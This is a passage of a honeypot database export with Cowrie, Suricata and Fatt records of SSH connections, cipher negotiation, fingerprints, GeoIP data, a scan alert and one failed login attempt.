"2021-09-20T11:12:53.563190Z", "@timestamp": "2021-09-20T11:12:53.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26712	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:12:53.562306+03	2021-09-20 14:15:13.630647+03	{"_id": "wAboAnwBvYTbRNuEpyL4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 990998955370764, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 55874, "dest_port": 22, "timestamp": "2021-09-20T11:12:53.562306Z", "@timestamp": "2021-09-20T11:12:53.562Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26713	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:53.562373+03	2021-09-20 14:15:13.631647+03	{"_id": "wQboAnwBvYTbRNuEqSIg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55874, "timestamp": "2021-09-20T11:12:53.562373", "@timestamp": "2021-09-20T11:12:53.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26714	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:12:54.235732+03	2021-09-20 14:15:13.632646+03	{"_id": "zAboAnwBvYTbRNuEqyLh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:54.235732+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1462691591264468, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 34818, "dest_port": 22, "timestamp": "2021-09-20T11:12:54.235732Z", "@timestamp": "2021-09-20T11:12:54.235Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
26715	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:54.515883+03	2021-09-20 14:15:13.634647+03	{"_id": "zgboAnwBvYTbRNuErSII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34818, "timestamp": "2021-09-20T11:12:54.515883", "@timestamp": "2021-09-20T11:12:54.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26716	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:50.666207+03	2021-09-20 14:15:13.635674+03	{"_id": "ngboAnwBvYTbRNuEniIN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/qwertyuiop] failed", "session": "6437453030a0", "@version": "1", "password": "qwertyuiop", "username": "admin", "timestamp": "2021-09-20T11:12:50.666207Z", "@timestamp": "2021-09-20T11:12:50.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26717	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:52.121721+03	2021-09-20 14:15:13.636674+03	{"_id": "pgboAnwBvYTbRNuEoSL4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6437453030a0", "@version": "1", "duration": 2.980515718460083, "timestamp": "2021-09-20T11:12:52.121721Z", "@timestamp": "2021-09-20T11:12:52.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26718	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:12:53.035352+03	2021-09-20 14:15:13.637674+03	{"_id": "qAboAnwBvYTbRNuEpCIO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1141148864494901, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 58608, "dest_port": 22, "timestamp": "2021-09-20T11:12:53.035352Z", "@timestamp": "2021-09-20T11:12:53.035Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26719	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:12:53.035818+03	2021-09-20 14:15:13.638647+03	{"_id": "qwboAnwBvYTbRNuEpSI1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58608, "dest_port": 22, "timestamp": "2021-09-20T11:12:53.035818", "@timestamp": "2021-09-20T11:12:53.035Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26720	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:53.036356+03	2021-09-20 14:15:13.640646+03	{"_id": "rAboAnwBvYTbRNuEpSLg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fe8f201aa331", "@version": "1", "timestamp": "2021-09-20T11:12:53.036356Z", "@timestamp": "2021-09-20T11:12:53.036Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26721	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:53.288134+03	2021-09-20 14:15:13.642647+03	{"_id": "rQboAnwBvYTbRNuEpSLj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:55874 (192.168.176.2:22) [session: cadc2122c710]", "session": "cadc2122c710", "@version": "1", "protocol": "ssh", "src_port": 55874, "dest_port": 22, "timestamp": "2021-09-20T11:12:53.288134Z", "@timestamp": "2021-09-20T11:12:53.288Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26722	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:53.299842+03	2021-09-20 14:15:13.64366+03	{"_id": "tQboAnwBvYTbRNuEpSLj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "cadc2122c710", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:53.299842Z", "@timestamp": "2021-09-20T11:12:53.299Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26723	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:12:53.56292+03	2021-09-20 14:15:13.644675+03	{"_id": "wgboAnwBvYTbRNuEqSIg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 